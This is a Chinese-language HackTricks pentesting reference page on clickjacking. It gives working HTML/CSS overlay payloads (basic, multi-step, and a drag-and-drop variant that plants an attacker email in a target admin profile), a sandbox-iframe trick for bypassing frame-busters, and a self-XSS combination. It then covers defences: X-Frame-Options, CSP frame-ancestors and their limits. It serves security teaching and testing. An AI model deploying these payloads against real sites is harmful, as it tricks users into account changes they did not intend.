hacktricks/pentesting-web/clickjacking.md

10 KiB
Raw Blame History

点击劫持

从零开始学习AWS黑客攻击直至成为专家通过 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式


使用 Trickest 轻松构建并自动化工作流程,由世界上最先进的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

什么是点击劫持

点击劫持是一种攻击,它诱骗用户点击一个不可见或伪装成另一个元素的网页元素。这可能导致用户无意中下载恶意软件,访问恶意网页,提供凭证或敏感信息,转账或在线购买产品。(来自这里)。

预填充表单技巧

有时候当加载页面时可以使用GET参数填充表单字段的值。攻击者可能会滥用这种行为,用任意数据填充表单,并发送点击劫持有效载荷,使用户按下提交按钮。

使用拖放填充表单

如果您需要用户填写表单,但您不想直接要求他写一些特定信息(比如您知道的电子邮件或特定密码),您可以只要求他拖放一些东西,这将写入您控制的数据,就像在这个例子中一样。

基础有效载荷

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

多步骤有效载荷

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

拖放 + 点击负载

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + 点击劫持

如果您发现了一个需要用户点击某个元素来触发XSS的XSS攻击,并且页面容易受到点击劫持,您可以利用它欺骗用户点击按钮/链接。
示例:
您在帐户的一些私人详细信息中发现了一个自身XSS(只有您可以设置和读取的详细信息)。设置这些详细信息的页面表单容易受到点击劫持并且您可以使用GET参数预填充表单。
__攻击者可以准备对该页面的点击劫持攻击,预填充表单XSS有效载荷,并诱骗用户提交表单。因此,当表单被提交且值被修改时,用户将执行XSS

如何避免点击劫持

客户端防御

可以在客户端执行脚本,执行以下一些或全部行为以防止点击劫持:

  • 检查并确保当前应用程序窗口是主窗口或顶层窗口,
  • 使所有框架可见,
  • 防止点击不可见的框架,
  • 拦截并标记对用户可能的点击劫持攻击。

绕过

由于框架破坏者是JavaScript因此浏览器的安全设置可能会阻止它们的操作或者浏览器甚至可能不支持JavaScript。对抗框架破坏者的有效攻击者解决方案是使用HTML5 iframe sandbox 属性。当设置了allow-formsallow-scripts值,并且省略了allow-top-navigation值时框架破坏脚本可以被中和因为iframe无法检查它是否是顶层窗口

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

allow-formsallow-scripts 值允许在iframe中执行指定操作但禁用了顶级导航。这阻止了破坏框架的行为同时允许在目标站点内的功能。

根据执行的Clickjacking攻击类型您可能还需要允许allow-same-originallow-modals更多。准备攻击时,只需检查浏览器的控制台,它可能会告诉您需要允许哪些其他行为。

X-Frame-Options

X-Frame-Options HTTP响应头 可用于指示浏览器是否应该被允许<frame><iframe> 中渲染页面。网站可以使用此功能来避免Clickjacking攻击确保他们的内容不被嵌入到其他网站中。为所有包含HTML内容的响应设置**X-Frame-Options** 头。可能的值有:

  • X-Frame-Options: deny 阻止任何域框架内容 (推荐值)
  • X-Frame-Options: sameorigin允许当前站点框架内容。
  • X-Frame-Options: allow-from https://trusted.com **允许指定的'uri'**框架此页面。
  • 请检查下面的限制,因为如果浏览器不支持,这将失败
  • 其他浏览器支持新的CSP frame-ancestors指令。一些同时支持两者。

内容安全策略 (CSP) frame-ancestors指令

推荐的clickjacking保护是在应用程序的内容安全策略中加入**frame-ancestors指令**。
frame-ancestors 'none' 指令的行为类似于 X-Frame-Options deny 指令(没有人可以框架页面)。
frame-ancestors 'self' 指令大致相当于 X-Frame-Options sameorigin 指令(只有当前站点可以框架它)。
frame-ancestors trusted.com 指令大致相当于 X-Frame-Options allow-from指令(只有受信任的站点可以框架它)。

以下CSP仅将框架列入同一域名

Content-Security-Policy: frame-ancestors 'self';

有关更多详细信息和更复杂示例,请参阅以下文档:

限制

  • 浏览器支持: 并非所有主流浏览器都支持CSP frame-ancestors。
  • X-Frame-Options优先 CSP规范的"与X-Frame-Options的关系"部分说:"如果资源是带有包含名为frame-ancestors的指令的策略交付的并且其处置为'执行'那么必须忽略X-Frame-Options头"但Chrome 40和Firefox 35忽略frame-ancestors指令而遵循X-Frame-Options头。

参考资料


使用 Trickest 轻松构建并自动化工作流程,由世界上最先进的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

通过 htARTE (HackTricks AWS Red Team Expert)从零到英雄学习AWS黑客攻击

其他支持HackTricks的方式